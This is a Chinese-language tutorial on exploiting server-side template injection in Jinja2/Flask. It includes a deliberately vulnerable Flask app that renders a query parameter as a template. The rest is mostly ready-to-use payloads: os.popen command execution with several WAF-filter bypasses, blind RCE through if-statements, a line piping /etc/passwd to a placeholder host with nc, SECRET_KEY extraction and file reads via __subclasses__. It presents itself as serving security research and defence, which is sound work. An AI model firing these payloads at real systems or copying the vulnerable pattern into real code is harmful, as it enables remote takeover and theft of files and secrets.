SSTI(服务器端模板注入)是一种当服务器将用户输入作为某种模板渲染时产生的安全漏洞。模板通常用于在页面内容因不同情况而需要微调的场景。例如,根据访问站点的IP,页面可能显示为:
<h1>Welcome to the page!</h1>
<u>This page is being accessed from the remote address: {{ip}}</u>
与其为每个访问网站的用户创建全新页面,服务器会直接将远程地址渲染到 {{ip}} 变量中,同时为每个请求该端点的用户复用其余的HTML代码。
这可能导致安全问题,因为一些模板引擎支持相当复杂的功能,最终允许开发者直接从模板运行命令或读取文件内容。因此,当用户获得了创建和渲染模板的能力时,就可能获得对运行Web服务器的系统的完全访问权限。
什么是 MRO?
MRO(Method Resolution Order,方法解析顺序)是Python在类的继承层次结构中查找方法的顺序。它在多继承的上下文中至关重要,因为单个方法可能存在于多个超类中。
class A:
def process(self):
print('A process()')
class B:
def process(self):
print('B process()')
class C(A, B):
def process(self):
print('C process()')
class D(C,B):
pass
obj = D()
obj.process()
print(D.mro())
此脚本将输出:
[<class '__main__.D'>, <class '__main__.C'>, <class '__main__.A'>, <class '__main__.B'>, <class 'object'>]
因此,我们可以使用MRO函数来显示类信息,这在构建 Python SSTI Jinja2 攻击载荷时非常有用。如果你不喜欢使用 global_name.__class__.__mro__ 这种格式,也可以使用 __base__,例如 global_name.__class__.__base__。
由于MRO会列出类继承层次结构的处理顺序,我们可以利用它列出类的特性来选择我们想要的类。另一方面,使用 __base__ 则没有这种选择机会,但也意味着我们可以省去如 [1] 这样的索引(在此类载荷中用于选择object类)。例如:{{g.__class__.__mro__}} 或 {{g.__class__.mro()}} 或 {{g['__class__']['mro']()}} 或 {{g['__class__']['__mro__']}}。
本质上,{{g.__class__.__mro__[1]}} == {{g.__class__.__base__}}。
简易测试环境搭建
将以下代码放入 app.py,然后运行 python app.py。
from flask import Flask, request, render_template_string
app = Flask(__name__)
@app.route("/")
def home():
if request.args.get('c'):
return render_template_string(request.args.get('c'))
else:
return "Bienvenue!"
if __name__ == "__main__":
app.run(debug=True)
安装
sudo apt-get install python-pip
pip install flask --user
python app.py
实战:绕过与利用
本节内容基于上述基本的SSTI测试环境进行探索,包含一些可用于清理、缩短、减少字符种类或使攻击载荷更易于使用的方法。
1. 远程命令执行(RCE)的绕过
我们首先构建一个用于远程命令执行的基础载荷,并尝试应用尽可能多的过滤器绕过技巧。
基础载荷:
{{request.application.__globals__.__builtins__.__import__('os').popen('id').read()}}
-
如果WAF(Web应用防火墙)过滤 . :
{{request['application']['__globals__']['__builtins__']['__import__']('os')['popen']('id')['read']()}}
-
如果WAF过滤 . 和 _ :
{{request['application']['\x5f\x5fglobals\x5f\x5f']['\x5f\x5fbuiltins\x5f\x5f']['\x5f\x5fimport\x5f\x5f']('os')['popen']('id')['read']()}}
-
如果WAF过滤 .、_、[] 和 |join ,载荷将演变为:
{{request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fbuiltins\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('id')|attr('read')()}}
2. 不使用 {{}} 的RCE
如果WAF直接拦截了 {{}} 这对模板标签,我们还有其他方法。
Jinja2模板除了 {{}} 外,还有两种定义模板起始的方式:
- 使用
# 的行语句(需启用 line_statement_prefix 选项)。
- 使用
{% %},通常用于循环或条件语句。
我们可以利用 {% if %} 语句进行盲注。为了比较函数的输出与字符串,服务器必须先运行该函数。
基础判断语句:
{% if 'chiv' == 'chiv' %} a {% endif %}
将RCE载荷放入比较条件中:
{% if request['application']['__globals__']['__builtins__']['__import__']('os')['popen']('whoami')['read']() == 'chiv\n' %} a {% endif %}
类似于盲注SQL注入,我们可以使用 sleep 命令验证命令是否执行:
{% if request['application']['__globals__']['__builtins__']['__import__']('os')['popen']('sleep 5')['read']() == 'chiv' %} a {% endif %}
成功!服务器响应时间延迟了。虽然我们没有直接看到输出,但可以利用布尔判断(返回True或False)逐字节泄露数据,或通过外带通道(如HTTP请求)获取结果:
{% if request['application']['__globals__']['__builtins__.__import__']('os')['popen']('cat /etc/passwd | nc YOUR_HOST 1337')['read']() == 'chiv' %} a {% endif %}
3. 泄露用于签署会话Cookie的密钥
通过调用 config 对象,可以获取包含 SECRET_KEY 的键值对列表。
{{config["SECRET_KEY"]}}
如果 config 对象被拦截,也可以使用 self 对象(但需要手动查找 SECRET_KEY):
{{self.__dict__}}
4. 使用格式化字符串绕过 |join 过滤器
利用Flask模板的 format 字符串功能可以构造灵活的载荷。
示例载荷:
{{request|attr(request.args.f|format(request.args.a,request.args.a,request.args.a,request.args.a))}}&f=%s%sclass%s%s&a=_
这个载荷的本质是动态构建 __class__ 属性。参数 f 提供格式化字符串 %s%sclass%s%s,参数 a 提供下划线 _,最终通过 format 过滤器组合成 __class__。
5. 通过模板列出所有类和类型
利用 __class__ 属性、Python的方法解析顺序以及 __subclasses__() 函数,可以列出所有子类。
{{OBJECT.__class__.mro().__subclasses__()}}
{{OBJECT.__class__.__mro__[1].__subclasses__()}}
{{OBJECT.__class__.__base__.__subclasses__()}}
其中 OBJECT 可以是多种对象,例如:g、request、get_flashed_messages、url_for、config、application。
6. 从零构建Payload的流程
以 get_flashed_messages 为例:
- 确认对象存在:
{{get_flashed_messages}}
- 获取其类:
{{get_flashed_messages.__class__}}
- 获取其MRO:
{{get_flashed_messages.__class__.__mro__}}
- 选择基类(通常是object):
{{get_flashed_messages.__class__.__mro__[1]}}
- 列出所有子类:
{{get_flashed_messages.__class__.__mro__[1].__subclasses__()}}
- 选择特定子类(如第41个,可能是
file 类):{{get_flashed_messages.__class__.__mro__[1].__subclasses__()[40]}}
- 调用该子类读取文件:
{{get_flashed_messages.__class__.__mro__[1].__subclasses__()[40]('/etc/passwd')}}
- 读取文件内容:
{{get_flashed_messages.__class__.__mro__[1].__subclasses__()[40]('/etc/passwd').read()}}
进阶绕过技巧
1. Python十六进制字面量编码
此编码仅适用于引号内的字符串。如果WAF拦截了某些特定字符(如文件名或命令中的 /),可以用其十六进制表示 \x2F 绕过。
例如,载荷:
{{''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read()}}
可以编码为:
{{''.__class__.__mro__[2].__subclasses__()[40]('\x2F\x65\x74\x63\x2F\x70\x61\x73\x73\x77\x64').read()}}
2. 绕过点号.的WAF过滤
除了使用 [] 替代 . 访问属性(例如 {{foo['bar']}} 等价于 {{foo.bar}}),还可以使用 |attr 过滤器。
例如:
{{ ''.__class__.__mro__[2].__subclasses__() }}
可转换为:
{{''['__class__']['__mro__'][2]['__subclasses__']()}}
这样就完全摆脱了对点号 . 的依赖,这对于构建安全的云原生应用时评估模板引擎的安全性很有参考价值。
实用工具与参考
Flask内置过滤器列表
可在Jinja2官方文档查看所有过滤器。例如:
join(): {{['Thi','s wi','ll b','e appended']|join}} 返回 This will be appended。
safe(): 避免HTML实体编码。{{''|safe}} 会触发弹窗。
使用 __dict__ 列出对象的所有属性
可以探索选定子类的所有可用方法和属性。
列出第290个子类的所有属性:
{{g.__class__.__mro__[1].__subclasses__()[289].__dict__}}
还可以使用 .keys() 或 .values() 单独获取键或值:
{{['view_args'].__class__.__subclasses__()[13].__dict__.keys()}}
{{request['view_args'].__class__.__subclasses__()[13].__dict__.values()}}
Flask中的可用基础对象
在Flask应用的上下文中,默认注入了一些全局对象,它们是SSTI攻击的常见起点:
url_for
get_flashed_messages
config
request
session
g
foo.bar 与 foo[‘bar’] 在Jinja2中的区别
foo.bar 的查找顺序:
- 查找
foo 上名为 bar 的属性 (getattr(foo, 'bar'))。
- 如果没有,则查找
foo 中的键 'bar' (foo.__getitem__('bar'))。
- 如果都没有,则返回一个未定义对象。
foo[‘bar’] 的查找顺序略有不同:
- 先查找
foo 中的键 'bar' (foo.__getitem__('bar'))。
- 如果没有,则查找
foo 上名为 bar 的属性 (getattr(foo, 'bar'))。
- 如果都没有,则返回一个未定义对象。
注意:attr() 过滤器只查找属性。
总结:理解和利用Jinja2 SSTI需要熟悉Python对象模型、Jinja2模板引擎特性以及各种上下文下的绕过技巧。本文概述了从基础概念到高级利用的完整链条,旨在帮助安全研究人员和Python开发者更好地理解与防御此类漏洞。